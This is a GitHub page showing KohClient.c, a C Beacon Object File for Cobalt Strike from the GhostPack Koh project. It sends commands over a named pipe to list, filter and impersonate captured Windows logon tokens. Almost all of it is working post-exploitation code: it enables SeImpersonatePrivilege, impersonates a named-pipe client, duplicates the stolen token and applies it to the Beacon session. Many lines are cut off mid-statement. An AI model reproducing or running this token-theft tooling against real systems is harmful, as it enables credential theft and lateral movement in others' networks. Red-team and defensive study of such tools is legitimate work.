GhostPack / Koh Public

Koh / Clients / BOF / KohClient.c

HarmJ0y Initial commit 0283d9f · 2 years ago History

Code Blame 215 lines (178 loc) · 8.31 KB Raw

```c
#include <stdio.h>
#include <windows.h>
#include "beacon.h"
#include "KohClient.h"

#define BUFSIZE 1024


void go(char* args, unsigned long alen) {

    char kohPassword[] = "password";
    char kohPipe[] = "\\\\.\\pipe\\imposecost";
    char impersonationPipe[] = "\\\\.\\pipe\\imposingcost";

    PBYTE lpPipeContent = NULL;
    HANDLE serverPipe;
    HANDLE clientPipe;
    HANDLE threadToken;
    HANDLE duplicatedToken;
    DWORD commandBytesWritten = 0;
    DWORD bytesRead = 0;
    DWORD err = 0;
    BOOLEAN bEnabled = FALSE;
    BOOL fSuccess = FALSE;
    wchar_t message[1] = { 0 };

    // null security descriptor for the impersonation named pipe
    SECURITY_DESCRIPTOR SD;
    SECURITY_ATTRIBUTES SA;
    ADVAPI32$InitializeSecurityDescriptor(&SD, SECURITY_DESCRIPTOR_REVISION);
    ADVAPI32$SetSecurityDescriptorDacl(&SD, TRUE, NULL, FALSE);
    SA.nLength = sizeof(SA);
    SA.lpSecurityDescriptor = &SD;
    SA.bInheritHandle = TRUE;

    // parse packed Beacon commands
    datap parser = {0};
    char * kohCommand = NULL;
    int intKohCommand = 0;
    int LUID = 0;
    char* filterSID = NULL;
    BeaconDataParse(&parser, args, alen);
    intKohCommand = BeaconDataInt(&parser);
    LUID = BeaconDataInt(&parser);
    filterSID = BeaconDataExtract(&parser, NULL);

    BeaconPrintf(CALLBACK_OUTPUT, "[*] Using KohPipe                    : %s\n", kohPip

    // connect to the Koh communication named pipe
    clientPipe = KERNEL32$CreateFileA(kohPipe, GENERIC_READ | GENERIC_WRITE, 0, NULL, O

    if (clientPipe == INVALID_HANDLE_VALUE) {
        err = KERNEL32$GetLastError();
        if(err == 2) {
            BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL3
        }
```

```
            else {
                BeaconPrintf(CALLBACK_ERROR, "[!] Connecting to named pipe %s using KERNEL3
            }
            goto cleanup;
        }


        // Koh commands:
        //      1           - list captured tokens
        //      2 LUID      - list groups for a captured token

        //      100         - list group SIDs currently used for capture filtering
        //      101 SID     - adds group SID for capture filtering
        //      102 SID     - removes a group SID for capture filtering
        //      103         - resets all group SIDs for capture filtering

        //      200 LUID    - lists the groups for the specified LUID/captured token

        //      300 LUID    - impersonate a captured token

        //      400         - release all tokens
        //      401 LUID    - release a token for the specifed LUID

        //      57005       - signal Koh to exit
        kohCommand = (char*)KERNEL32$LocalAlloc(LPTR, MSVCRT$strlen(kohPassword) + 100);
        if(intKohCommand == 1){
            MSVCRT$sprintf(kohCommand, "%s list", kohPassword);
        }
        else if(intKohCommand == 2){
            MSVCRT$sprintf(kohCommand, "%s list %d", kohPassword, LUID);
        }
        else if(intKohCommand == 100){
            MSVCRT$sprintf(kohCommand, "%s filter list", kohPassword);
        }
        else if(intKohCommand == 101){
            MSVCRT$sprintf(kohCommand, "%s filter add %s", kohPassword, filterSID);
        }
        else if(intKohCommand == 102){
            MSVCRT$sprintf(kohCommand, "%s filter remove %s", kohPassword, filterSID);
        }
        else if(intKohCommand == 103){
            MSVCRT$sprintf(kohCommand, "%s filter reset", kohPassword);
        }
        else if(intKohCommand == 200){
            MSVCRT$sprintf(kohCommand, "%s groups %d", kohPassword, LUID);
        }
        else if(intKohCommand == 300){
            MSVCRT$sprintf(kohCommand, "%s impersonate %d %s", kohPassword, LUID, impersona
        }
        else if(intKohCommand == 400){
            MSVCRT$sprintf(kohCommand, "%s release all", kohPassword);
        }
        else if(intKohCommand == 401){
            MSVCRT$sprintf(kohCommand, "%s release %d", kohPassword, LUID);
        }
        else if(intKohCommand == 57005){
            // 0xDEAD == 57005
            MSVCRT$sprintf(kohCommand, "%s exit", kohPassword);
        }

        // send the Koh command to the named pipe server
        if(!KERNEL32$WriteFile(clientPipe, kohCommand, MSVCRT$strlen(kohCommand), &commandB
            BeaconPrintf(CALLBACK_ERROR, "[!] Writing to named pipe %s using KERNEL32$Write
            goto cleanup;
        }

        lpPipeContent = (PBYTE)KERNEL32$LocalAlloc(LPTR, BUFSIZE);

        // command 300 == impersonation
        if(intKohCommand == 300) {
            if(NTDLL$RtlAdjustPrivilege(29, TRUE, FALSE, &bEnabled) != 0) {
                BeaconPrintf(CALLBACK_ERROR, "[!] Failed to enable SeImpersonatePrivilege:
                goto cleanup;
```

```c
                BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ConnectNamedPipe failed: %d\n",
                goto cleanup;
            }

            // read 1 byte to satisfy the requirement that data is read from the pipe befor
            fSuccess = KERNEL32$ReadFile(serverPipe, &message, 1, &bytesRead, NULL);
            if (!fSuccess) {
                BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed: %d\n", KERNEL32
                goto cleanup;
            }

            // perform the named pipe impersonation of the target token
            if(ADVAPI32$ImpersonateNamedPipeClient(serverPipe)) {

                BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonation succeeded. Duplicating tok

                if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS
                    BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$OpenThreadToken failed with:
                    ADVAPI32$RevertToSelf();
                    goto cleanup;
                }

                if (!ADVAPI32$DuplicateTokenEx(threadToken, TOKEN_ALL_ACCESS, NULL, Securit
                    BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$DuplicateTokenEx failed with
                    ADVAPI32$RevertToSelf();
                    goto cleanup;
                }

                BeaconPrintf(CALLBACK_OUTPUT, "[*] Impersonated token successfully duplicat

                ADVAPI32$RevertToSelf();

                // register the token with the current beacon session
                if(!BeaconUseToken(duplicatedToken)) {
                    BeaconPrintf(CALLBACK_ERROR, "[!] Error applying the token to the curre
                    goto cleanup;
                }

                // clean up so there's not an additional token leak
                KERNEL32$CloseHandle(threadToken);
                KERNEL32$CloseHandle(duplicatedToken);
                KERNEL32$DisconnectNamedPipe(serverPipe);
                KERNEL32$CloseHandle(serverPipe);
            }
            else {
                BeaconPrintf(CALLBACK_ERROR, "[!] ADVAPI32$ImpersonateNamedPipeClient faile
                KERNEL32$DisconnectNamedPipe(serverPipe);
                KERNEL32$CloseHandle(serverPipe);
                goto cleanup;
            }
        }

        // read any output from the server
        do {
            // based on https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-clien
            fSuccess = KERNEL32$ReadFile(clientPipe, lpPipeContent, BUFSIZE, &bytesRead, NU

            if (!fSuccess && KERNEL32$GetLastError() != ERROR_MORE_DATA)
                break;

            if (!fSuccess) {
                BeaconPrintf(CALLBACK_ERROR, "[!] KERNEL32$ReadFile failed with: %d\n", KER
                break;
            }

            BeaconPrintf(CALLBACK_OUTPUT, "%s", lpPipeContent);
        }
        while (!fSuccess);

    cleanup:
        KERNEL32$CloseHandle(clientPipe);
        KERNEL32$LocalFree(kohCommand);
        KERNEL32$LocalFree(lpPipeContent);
    }
```